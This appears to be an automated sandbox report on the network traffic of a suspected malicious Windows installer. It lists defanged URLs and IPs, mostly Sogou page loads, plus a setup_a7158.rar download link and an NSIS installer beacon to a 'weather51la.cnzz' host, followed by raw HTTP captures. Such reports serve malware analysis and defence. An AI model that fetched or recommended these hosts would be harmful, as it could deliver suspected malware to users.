hxxp://sj88.www.web.glb0.ldcache.net/hezi/jm/setup_a7158.rar
hxxp://weather51la.cnzz.alivcd.com/cnzz/weather/5.0.0.5002/tongji/tongji_61.html	122.225.104.211
hxxp://njsh.cdn.sogou.com/imgn/v51/new-erweima2.png
hxxp://njsh.cdn.sogou.com/v53/jsn/main.js?V=16bb90f6b3db269d3b0dadfb85d67a51a
hxxp://ctc.ping.sogou.com/pv.gif?uigs_productid=ufo&ufoid=ads&ptype=ads&pcode=ads&rdk=1399956570087&img=extra.gif&yyid=&ssuv=&m=&loc=&module=show&tag=172
hxxp://ctc.ping.sogou.com/pv.gif?uigs_productid=ufo&ufoid=daohang&ptype=indexv53&pcode=index&rdk=1399956575900&refer=&page=搜狗网址导航－－网址大全,实用网址,尽在123.sogou.com&pageUrl=http://123.sogou.com/?22014&img=pv.gif&vcode=v53
hxxp://proxy.sogou.com/v53/get_tj.php?hz=4666521&ids=qiche
hxxp://njsh.cdn.sogou.com/v53/imgn/guide_tip.png
hxxp://njsh.cdn.sogou.com/imgu/2014/05/20140507144124_693.jpg
hxxp://njsh.cdn.sogou.com/imgu/2014/05/20140512170407_319.jpg
hxxp://njsh.cdn.sogou.com/imgu/2014/05/20140513112717_7.jpg
hxxp://njsh.cdn.sogou.com/imgu/2014/05/20140512112800_851.jpg
hxxp://njsh.cdn.sogou.com/imgn/sehome/tjv1/new-ico.png
hxxp://njsh.cdn.sogou.com/imgn/sehome/tjv1/img-news.gif
hxxp://njsh.cdn.sogou.com/imgu/2014/05/20140512170546_833.jpg
hxxp://njsh.cdn.sogou.com/imgu/2014/05/20140507144656_823.jpg
hxxp://njsh.cdn.sogou.com/imgn/sehome/tjv1/img-video-2.gif
hxxp://njsh.cdn.sogou.com/imgn/v51/i-ico-2b.png
hxxp://save2.xdwscache.glb0.lxdns.com/img/news_photo/2014/05/12/fIXLig2wT89333.jpg
hxxp://njsh.cdn.sogou.com/imgn/v32/logo_1112293.gif
hxxp://save2.xdwscache.glb0.lxdns.com/img/news_photo/2014/05/12/1oq9Gg9Y3L8813.jpg
hxxp://weather51la.cnzz.alivcd.com/post/	122.225.104.211
hxxp://proxy.sogou.com/favicon.ico
hxxp://weather51la.cnzz.alivcd.com/cnzz/weather/weatherPng/cnzz.html	122.225.104.211
hxxp://weather51la.cnzz.alivcd.com/cnzz/weather/5.0.0.5002/weatherdata/_61/cnzz.html	122.225.104.211
hxxp://weather51la.cnzz.alivcd.com/cnzz/weather/5.0.0.5002/weatherdata/_61/WeatherContext.xml	122.225.104.211
hxxp://int.dpool.sina.com.cn/iplookup	123.125.29.252
hxxp://int.dpool.sina.com.cn/iplookup/	123.125.29.252
hxxp://p3.123.sogoucdn.com/imgn/sehome/tjv1/new-ico.png	58.215.147.36
hxxp://p0.123.sogoucdn.com/imgu/2014/05/20140512112800_851.jpg	222.211.87.167
hxxp://d.123.sogoucdn.com/v53/imgn/v53_bicos.gif	114.80.179.224
hxxp://p9.123.sogoucdn.com/imgu/2014/05/20140507144656_823.jpg	114.80.179.222
hxxp://pic1.xcarimg.com/img/news_photo/2014/05/12/1oq9Gg9Y3L8813.jpg	222.84.167.30
hxxp://d.123.sogoucdn.com/ads_hz/_ads_2.js?t=777753	114.80.179.224
hxxp://p3.123.sogoucdn.com/imgn/sehome/tjv1/img-news.gif	58.215.147.36
hxxp://p7.123.sogoucdn.com/imgu/2014/05/20140513112717_7.jpg	58.215.147.42
hxxp://weather51la.cnzz.uujzy.com/cnzz/weather/5.0.0.5002/weatherdata/_61/cnzz.html	122.225.104.211
hxxp://p6.123.sogoucdn.com/imgu/2013/08/20130820165531_481.gif	58.215.147.38
hxxp://p0.123.sogoucdn.com/imgn/v32/skin3.gif	222.211.87.167
hxxp://d.123.sogoucdn.com/v53/imgn/v53_2icos.gif	114.80.179.224
hxxp://p3.123.sogoucdn.com/imgn/sehome/tjv1/img-video-2.gif	58.215.147.36
hxxp://123.sogou.com/favicon.ico	106.120.151.64
hxxp://www.sj88.com/hezi/jm/setup_a7158.rar	202.97.174.78
hxxp://p0.123.sogoucdn.com/imgn/v32/titlebg.png	222.211.87.167
hxxp://p6.123.sogoucdn.com/imgn/123ie/setting_icon.gif	58.215.147.38
hxxp://d.123.sogoucdn.com/v53/imgn/guide_tip.png	114.80.179.224
hxxp://p1.123.sogoucdn.com/imgn/v32/skin2_0.gif	222.211.87.171
hxxp://123.sogou.com/images/weather/cloudy.gif	106.120.151.64
hxxp://123.sogou.com//v53/get_123_v53.php?block=wt&ver=v53&gfg=1&city=unknown&pid=Af22014&c=1399956570478&method=ajaf&cbf=fn	106.120.151.64
hxxp://123.sogou.com/v53/jsn/v53_123n.js?V=cr	106.120.151.64
hxxp://img.users.51.la/15909623.asp	117.21.191.223
hxxp://p4.123.sogoucdn.com/imgn/v32/fbg_about.png	114.80.179.226
hxxp://pb.sogou.com/pv.gif?uigs_productid=ufo&ufoid=ads&ptype=ads&pcode=ads&rdk=1399956570087&img=extra.gif&yyid=&ssuv=&m=&loc=&module=show&tag=172	106.120.151.49
hxxp://123.sogou.com/?22014	106.120.151.64
hxxp://d.123.sogoucdn.com/v53/imgn/v53_arrow_h.gif	114.80.179.224
hxxp://d.123.sogoucdn.com/imgn/v32/icon4.gif	114.80.179.224
hxxp://123.sogou.com/jsn/hotdata.js?V=1399956570493	106.120.151.64
hxxp://p0.123.sogoucdn.com/u/js/ufo2.js	222.211.87.167
hxxp://p3.123.sogoucdn.com/imgn/v51/i-ico-2b.png	58.215.147.36
hxxp://p5.123.sogoucdn.com/imgn/v32/logo_1112293.gif	222.211.87.185
hxxp://pb.sogou.com/pv.gif?uigs_productid=ufo&ufoid=ads&ptype=ads&pcode=ads&rdk=1399956570071&img=extra.gif&yyid=&ssuv=&m=&loc=&module=show&tag=62	106.120.151.49
hxxp://d.123.sogou.com/jsn/v33_sugg_ajaj_v40_3.js	114.80.179.210
hxxp://p8.123.sogoucdn.com/imgn/tips/skin_tips_n1.gif	222.211.87.163
hxxp://p2.123.sogoucdn.com/imgu/2014/05/20140507144124_693.jpg	58.215.147.40
hxxp://123.sogou.com/images/weather/fine_cloudy.gif	106.120.151.64
hxxp://123.sogou.com/v53/get_tj.php?hz=4666521&ids=qiche	106.120.151.64
hxxp://weather51la.cnzz.uujzy.com/cnzz/weather/weatherPng/cnzz.html	122.225.104.211
hxxp://123.sogou.com/css/skin_.css?V=cr	106.120.151.64
hxxp://p3.123.sogoucdn.com/imgn/v32/setskinbg.gif	58.215.147.36
hxxp://wan.sogou.com/dh/dhrc/rec.do?block=gamev2&jsonp=__yx2q&t=1&_stamp=1399956568915	106.120.151.65
hxxp://p9.123.sogoucdn.com/imgu/2014/05/20140512170546_833.jpg	114.80.179.222
hxxp://pb.sogou.com/pv.gif?uigs_productid=ufo&ufoid=daohang&ptype=indexv53&pcode=index&rdk=1399956575900&refer=&page=搜狗网址导航－－网址大全,实用网址,尽在123.sogou.com&pageUrl=http://123.sogou.com/?22014&img=pv.gif&vcode=v53	106.120.151.49
hxxp://p0.123.sogoucdn.com/imgn/sehome/tjv1/subnav_v41.png	222.211.87.167
hxxp://p4.123.sogoucdn.com/imgn/v32/selogo_111207.png	114.80.179.226
hxxp://weather51la.cnzz.uujzy.com/cnzz/weather/5.0.0.5002/weatherdata/_61/WeatherContext.xml	122.225.104.211
hxxp://p8.123.sogoucdn.com/imgn/v32/selogo_111207.png	222.211.87.163
hxxp://pic4.xcarimg.com/img/news_photo/2014/05/12/fIXLig2wT89333.jpg	222.84.167.30
hxxp://p0.123.sogou.com/imgn/tips/lk_jumei.png	1.100.192.15
hxxp://p4.123.sogoucdn.com/imgu/2014/05/20140508103513_537.gif	114.80.179.226
hxxp://d.123.sogou.com/jsn/citydata.js	114.80.179.210
hxxp://p7.123.sogoucdn.com/imgn/123ie/search_arrow.gif	58.215.147.42
hxxp://p3.123.sogoucdn.com/imgn/v51/new-erweima2.png	58.215.147.36
hxxp://d.123.sogoucdn.com/v53/imgn/foot_slider.jpg	114.80.179.224
hxxp://p8.123.sogoucdn.com/imgu/2014/05/20140512170407_319.jpg	222.211.87.163
hxxp://p1.123.sogoucdn.com/imgn/v32/selogo_111207.png	222.211.87.171
hxxp://d.123.sogoucdn.com/v53/jsn/main.js?V=16bb90f6b3db269d3b0dadfb85d67a51a	114.80.179.224
hxxp://www.xzsky.com/post/	122.225.104.211
hxxp://pb.sogou.com/pv.gif?uigs_productid=ufo&ufoid=wan&ptype=jztf2&pcode=index&rdk=1399956570103&img=pv.gif&sourcelist=0011000100006_0011000100007_0011000100008_0011000100009_0011000100010_0011000100011&titlelist=风云无双_仙侠道_暗黑屠龙_Sogou傲剑2_万世_大闹天宫OL	106.120.151.49
hxxp://pb.sogou.com/pv.gif?uigs_productid=daohang&rdk=1399956570493&img=pv.gif&pars=?rand=1399956570493&suid=null&sduv=1399956570462_5852_00001&ckid=6846_00001_00000_3030_00000_00000&m=null&apid=null&sgtp=null&refer=&page=&pageUrl=http%3A%2F%2F123.sogou.com%2F%3F22014&loc=null&hp=-1&pid=Af22014&ptype=index&pcode=index&yyid=null&skin=null&ver=v53_ie6_cr__4&sys=100&ser=null&sev=null&time=3531	106.120.151.49
hxxp://p2.123.sogoucdn.com/imgu/2013/05/20130531144119_126.png	58.215.147.40
hxxp://d.123.sogoucdn.com/kan/static/css/DD_belatedPNG_0.0.8a-min.js?t=	114.80.179.224
vipimg.51.la	182.236.163.41
weather.uujzy.com	122.225.203.94
www.biso.cc	67.198.240.190

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /dh/dhrc/rec.do?block=gamev2&jsonp=__yx2q&t=1&_stamp=1399956568915 HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: wan.sogou.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:24 GMT

Content-Type: text/plain; charset=utf-8

Content-Length: 374

Connection: keep-alive

Set-Cookie: SSUID=E7F48AC1243DE19807397E1A09B09599; expires=Mon, 08-May-34 04:49:24 GMT; path=/

Set-Cookie: IPLOC=UA; path=/

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

__yx2q([{"gid":"212","title":"............","source":"0011000100006"},{"gid":"181","title":".........","source":"0011000100007"},{"gid":"177","title":"............","source":"0011000100008"},{"gid":"215","title":"Sogou......2","source":"0011000100009"},{"gid":"178","title":"......","source":"0011000100010"},{"gid":"86","title":"............OL","source":"0011000100011"}]).HTTP/1.1 200 OK..Server: nginx..Date: Tue, 13 May 2014 04:49:24 GMT..Content-Type: text/plain; charset=utf-8..Content-Length: 374..Connection: keep-alive..Set-Cookie: SSUID=E7F48AC1243DE19807397E1A09B09599; expires=Mon, 08-May-34 04:49:24 GMT; path=/..Set-Cookie: IPLOC=UA; path=/..P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"..__yx2q([{"gid":"212","title":"............","source":"0011000100006"},{"gid":"181","title":".........","source":"0011000100007"},{"gid":"177","title":"............","source":"0011000100008"},{"gid":"215","title":"Sogou......2","source":"0011000100009"},{"gid":"178","title":"......","source":"0011000100010"},{"gid":"86","title":"............OL","source":"0011000100011"}])...

GET /imgn/v32/logo_1112293.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p5.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:33 GMT

Content-Type: image/gif

Content-Length: 4512

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:33 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

GIF89a..B...................................J}.v....._.,..;..-a.5m.J..Z..R..x..`....................................`..]..]..[..Y..V..R..N..M~.Iy.Eq.Bm.[..f.._..O..a..V..\..Kw.Is.d..T..Rx'g.V..i..Mz.k..w...........................w..s..q..o..l..l..i..f..b..]..Ly.Hs.~..u..s..d.._..P|.Z..y..u..i..^.....|..r..u..o..k..e..\..a..Ox.h.....X.....{..j.(..#\~4y.K..:w.4j.E..S..W..p..|.....w...................................................z..h..e.....o.....y...........y.&..(..(..!p.&y.5..=..=..<..;..<..D..G..;..C..B..J..A..;..O..N..L..O..S..S..L..Y..Y..R..D..<q.^..a..h..f..e..{..^...........................................................................................................................................................................................................!.......,......B........H......*\......#J.H.....3j...... C..I....(S.\.....".i.G..Mr..M...g.k.....n.......'/.7.P.>.....o..q..u .s....&.......;...8......5..t...t9....e......8.p..mVh@.n..}[7.\....H....@....47o]9r...}..[..6X.^A...n...........|x....../.F.N..rG..[.721.-d...B...1t..1....vOU&p........x...r.... ........Cv,....8....3........:.|....-....I..}%...9.X.C8Yq..8=....).0....p..'.!D8..C.6.%.C..e.!|...Cf.T0.. .$.9.P..1[m......Bl H...g.p..hF...y...;{9t..C...r.%..{L...@Kf.!..T@d...#.9....7.h#.....B.b.p..g`!..i\q..W.Q..o...4.}(...L.0.p..I..u.D...h....JpA.G.z(..Y3O:...@..H..........@...>...c8!n.d....b=.a..2...C...? .......A....lE..c.01(`A..b3-6..CGv .0..%`...N0.....1..w...9......*.Y. `.Y.C.....}..{..g.p.R.....t...}.$A T`.D..S..:(....\c56

<<

<<< skipped >>>

GET /imgn/v32/skin2_0.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p1.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:23 GMT

Content-Type: image/gif

Content-Length: 592

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:23 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

GIF89a..........Ly.Ky.Aq.Et.Iw.S..W..Z..[..a..d..c..e..g..w...................................s..............................................................................................................................................................................................................................................................................................................!.....s.,............s.s...s ..................)q(....&X*....#qnmol!!p<Pad%..$igbf`ch\OYIQ"...rlj_^]PMK/U:..s...pe[ZJG7'......kNLH6CF*....W.EB35-..s.............B$...=~.HX...*8...... ..B...`..@.;HTTP/1.1 200 OK..Server: nginx/1.4.1..Date: Tue, 13 May 2014 04:49:23 GMT..Content-Type: image/gif..Content-Length: 592..Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT..Connection: keep-alive..Expires: Thu, 12 Jun 2014 04:49:23 GMT..Cache-Control: max-age=2592000..Accept-Ranges: bytes..GIF89a..........Ly.Ky.Aq.Et.Iw.S..W..Z..[..a..d..c..e..g..w...................................s..............................................................................................................................................................................................................................................................................................................!.....s.,............s.s...s ..................)q(....&X*....#qnmol!!p<Pad%..$igbf`ch\OYIQ"...rlj_^]PMK/U:..s...pe[ZJG7'......kNLH6CF*....W.EB35-..s.............B$...=~.HX...*8...... ..B...`..@.;..

<<

<<< skipped >>>

GET /cnzz/weather/5.0.0.5002/tongji/tongji_61.html HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: weather51la.cnzz.alivcd.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:30 GMT

Content-Type: text/html

Content-Length: 2

Last-Modified: Fri, 21 Mar 2014 05:47:34 GMT

Connection: keep-alive

ETag: "532bd276-2"

Accept-Ranges: bytes

OKHTTP/1.1 200 OK..Server: nginx/1.4.1..Date: Tue, 13 May 2014 04:49:30 GMT..Content-Type: text/html..Content-Length: 2..Last-Modified: Fri, 21 Mar 2014 05:47:34 GMT..Connection: keep-alive..ETag: "532bd276-2"..Accept-Ranges: bytes..OK..

GET /imgn/v32/selogo_111207.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p8.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:23 GMT

Content-Type: image/png

Content-Length: 12155

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:23 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

.PNG........IHDR...a...?.....V.......pHYs................OiCCPPhotoshop ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE...........Q,......!.........{.k........>...........H3Q5...B..........@..$p....d!s.#...~<< ".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I. .6a.a.@..y..2.4..............x.....6..._-...."bb.....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<......$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?....D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/.@.4.Qh..p...U..=p..a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9., .......3...!.[..b@q..S.(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._... .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).)..4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC].@C.a.a......<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......

<<

<<< skipped >>>

GET /?22014 HTTP/1.1

User-Agent: ...............

Connection: Keep-Alive

Host: 123.sogou.com

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:17 GMT

Content-Type: text/html; charset=gbk

Transfer-Encoding: chunked

Connection: keep-alive

P3P: CP="NON DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa HISa TELa OTPa OUR UNRa IND UNI COM NAV INT DEM CNT PRELOC"

Content-Encoding: gzip

90c9................\.u/...gb!..=......`v..X........7.2....12N>6.A ....@ @...$.yy...G.;..b...~.sj.Uw..I..21..[.T..sN..N......{....$..V3...{.~p_b"9=.......O.O|....y8.I..O..v.1ht.Nsz.......`.]..^[[K..R.^m..'......,?&......2.|?...]..|..1h..W>:}..g.N.<..........W~.......y..L.;..O3.\...u..r.u..x...;p0.A7...6V.&..|zOr_..u..R..H.;....,M<x`.@k.t....f'.................`...X.;..;X..V0.........w}......0.)=.)5...?...............s.....N......n....v..............g.....3ZN.....}...M..t......8y..o..z.....x..H?{s.c...r...u....U..............{.....o.A.{.....#....^.y....^?v........}..K.~|...?<.W....[.....7....O....s?....?...g..._...7....4HB..?|.o...............;......n....c..$...J..6.&.X..D..V.&..-......*....&...[.y<.....8}4.....hI...x..;......U.....K.....B.]K...........-|.Z\k. ...j!..^..Z..|....C.j.....?....u3....K..*)M8.J..~z.iO.. ..t......Xr.. .?..b:.N.9.V..:...Z_..`N.....'Um..y_........8ht...}..CZ5R..f).Y5.-..1.!.V...V..V-....~5lo._:.. ...%.@.`........&.K....35lN5.S..T.......zv....N...j...j....T.m...T..e....*..Je.mm..^..^Hw..v.J.....-'...%........-g..ivz...*.-..' n...Bv.....Yn.No.......D...l..I...Y.6;.`..V.[.l.e_&A3..}...{.Z}...zne.I...I..Q.W<..\.....B.....s..-J.. ...[...P......0..Eh.,9..Z.._.&....59.v.Q...,......,....Uwq#..r....V!..........4HL|m...T...V.m.5*..B&.......G{k..*...2%..A.....M.;.F%1Y...bW..)..p`.f.....z......j>.).?i..#..3.t 4h..3.....K... 6y2.E.E.?.......09(.M...@..a..RkT..C.-..V.....;...~7..O ...j.;._i.s)..oW..I..........>...F..t..J.NyE""W0.M8..H?x..&A.O..e.4......1.,.h..a.........M...

<<

<<< skipped >>>

GET /css/skin_.css?V=cr HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: 123.sogou.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:22 GMT

Content-Type: text/css

Content-Length: 21

Connection: keep-alive

Last-Modified: Tue, 20 Sep 2011 09:23:40 GMT

ETag: "4e785b9c-15"

Expires: Wed, 14 May 2014 11:53:00 GMT

Cache-Control: max-age=259200

Accept-Ranges: bytes

/* skin default */...HTTP/1.1 200 OK..Server: nginx..Date: Tue, 13 May 2014 04:49:22 GMT..Content-Type: text/css..Content-Length: 21..Connection: keep-alive..Last-Modified: Tue, 20 Sep 2011 09:23:40 GMT..ETag: "4e785b9c-15"..Expires: Wed, 14 May 2014 11:53:00 GMT..Cache-Control: max-age=259200..Accept-Ranges: bytes../* skin default */.......

GET /v53/jsn/v53_123n.js?V=cr HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: 123.sogou.com

Connection: Keep-Alive

Cookie: ipt=0

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:23 GMT

Content-Type: application/x-javascript; charset=gbk

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Thu, 08 May 2014 05:03:36 GMT

Expires: Wed, 14 May 2014 11:54:27 GMT

Cache-Control: max-age=259200

Content-Encoding: gzip

5206..............y...u/.U.).U......zC.....y..'R>......U...P...f.. ....(.'..ls...;@...........).I.{.dK.d...nDdFVU....3sHtel7"nD..q....q.....\.W.....vm4wW.9h.{^?...._g...].&..@........$t'C........v.;.*.......(L;.?.p........._..w.?.d..g[.%Hg.G^8...Z.n........_8....z....~...|$............?N..sv.`.......^..xsN.\t.....Y..........."%.....w.....o.=...u`c...0.[=f6....G......~....`T....N...o%.x......`..{.vk.....*...A..E\I.B.}...P#.....`g0j....$`p....C.Dg.>.j[.....dw...v.m...Y51..|.L....y..V...9.B4{..%....b..G......]....6.u..".9..D.{!......`';.z.......@.*z"..6..X.o...C.#........;..xT..3...X..[i'..?v.}w=...w\.f.....r.wG1wG>..eL....qu...H ..j..*.a"....sYo.6k&.F!...i.....o.kh.*.:.Y..."....5s........f.15....."S6../.|...%..L..WJ0..'..V..1...,..>.z1..j. %. f..~........s6znF.zS......X..?........p8t...VD.....n.4.'.F"j.a....c......K.N...'P......H..R...n.tb4.../._..Vr.....m.K..B.Xj,/........\X.7...r.. ...s....&'......l.d...2-..~.o/J{.|.0...c;s\.i(...?\..G..>.u..x.....-R.v...........3.-.2I.f.l.........k........4kP?...e.G..6..j.... .].tUO..h.H.........I..enq.$&.}\ 3....5...Y8.8.?.la..Lv......75I.....0e..t"...Q..@L..i....!a....F..w..]..x.,.^..46w...g.......,A.%..Rqy..[e|LpV.Z..z..7WZ.fc..(7....J...So&...z....2 ..Y.V.5..:s.....l^....#.../.gH.^{;;;.8......X.=1. .3V..{$qg.ZbP..Bv..Z...... .s }.9....~..[..".E%.M.R.A....a.)..{g....B...-.....6OS...v...1T..$...V-..l.T.v...p..z.t.3.c.)...{.YU .1.~.......a........q..8...W...y.W.%..p..h.........C.z..B=....B...:..T..2...).9s..#..$..`...AoP...8..........hT.sN...`N...N....:....=g.$

<<

<<< skipped >>>

GET /jsn/hotdata.js?V=1399956570493 HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: 123.sogou.com

Connection: Keep-Alive

Cookie: ipt=0; SDUV=1399956570462_5852_00001; CKOR=6846_00001_00000; CKOD=3030_00000_00000; GOTO=Af22014

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:25 GMT

Content-Type: application/x-javascript; charset=gbk

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Tue, 13 May 2014 03:59:57 GMT

Set-Cookie: IPLOC=UA; path=/

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Expires: Fri, 16 May 2014 04:49:25 GMT

Cache-Control: max-age=259200

Content-Encoding: gzip

c63.............YkO..../D..."....^..lc.`I ..H...=..........{.z..{.....,..f.^.NUWw..<..'?Z...skz.....[..t.K.2.i.{...i3.lf;.lP...{.H..H...Ok........i..7:..>.'.Q:>k.K....g.Sq"...Mgv..._...Q.~.t~.I.}.o.A...ju>~h|<.......Y.bx.M.Nn.&.....(.?......cO.u..2Qk}.......*...N..9?..A.....?.T.z];8......................(.>z?..._.O....[...r...~.....ZZ.w..x...t...L.N6c...eg.U.f.].Y....5..T^PY..-.....J...c!....X...g.i..r.f...L....(..&.Z.C"..J.*.....b.|>..4..^sx.cC..P...F...61_{-.Z(....},.....:*.uB......dw8i......$-...]z....z...iR...s.....F.UE.(5LT..'...F..F.l.p..3..h/.B#.2.,...T!C..4...v.E.$...f..8Yh....z.UY.Z..m.kk#/#....Q-Y*...*.....Z{.....T..X..7Xy.....2?..4..u..s....|.. r..GU..<.....L.xq..f..C..J .(.p. ..}(.E.y......V..YI.Q.y.. .....^.`j.;....4....'.f...d 8N1..#]F.`6..V....................4...v{.G.9xO...~........f.^...[.......1..McP.il..R;....u.k.tI.i...\W....@...ZL.....\Q.r<. L..p..|%f]....!.n..{w?.i'...F!.....[..........*..V`.U.>..^s0..;.8H[....2."Ve....2..a..W3&n{.4 ..Q.I'.D._ .{...u....a..m.....[!..fGh.....!l.*..\..D.|.X...jJ.:.r).......|.Yw.#I....R ..9.......T{.N.9M ....JT;..::..a=....T..:........88>.......!#.g.r.t......<.@]F..>H..n.......o....G.P&.\.......!.|.%#&b{.....It.Gu.....Q.Aj..G...'TEQ.=..r.T.:...A...1~.....z.U.ly.Q.... ZdK....g....x....4.5.P.EA.H.....x.RN%A. .A..@..2....:.._....~.........Ow..5W..d.t.(....Ut.....* -....Q.s.!.......*z......V......L...^3.P=B...............9} .....dt(....4......@...N.G...bJB2..u.s.H..2....MHY....RC....:.T1....)..'y...Ce....]...#qQ....j...A#(.I

<<

<<< skipped >>>

GET /images/weather/cloudy.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: 123.sogou.com

Connection: Keep-Alive

Cookie: ipt=0; SDUV=1399956570462_5852_00001; CKOR=6846_00001_00000; CKOD=3030_00000_00000; IPLOC=UA; GOTO=Af22014; SUV=00461146C18AF4E75371A4556E6A4053

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:26 GMT

Content-Type: image/gif

Content-Length: 1663

Connection: keep-alive

Last-Modified: Sun, 09 Oct 2011 10:21:06 GMT

ETag: "4e917592-67f"

Expires: Sun, 18 May 2014 09:22:30 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

GIF89a(.(...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................y....................................................................................................................................................................................................................................................................!.......,....(.(........H......*\......#J.H1..t..bCa..(Q..eL(..7........H..x]..H..ff\......X.P.H....@.D.L.....R.H.4DM..gZ..9O.1.....ajT.Q..H.#F......Xa.....04. eS...z.*E....E.......?Ql...'.&*.k402...6l.D...L#(v<.2....g..)Q....W#0..!.G//q.....N.0.....Q........... 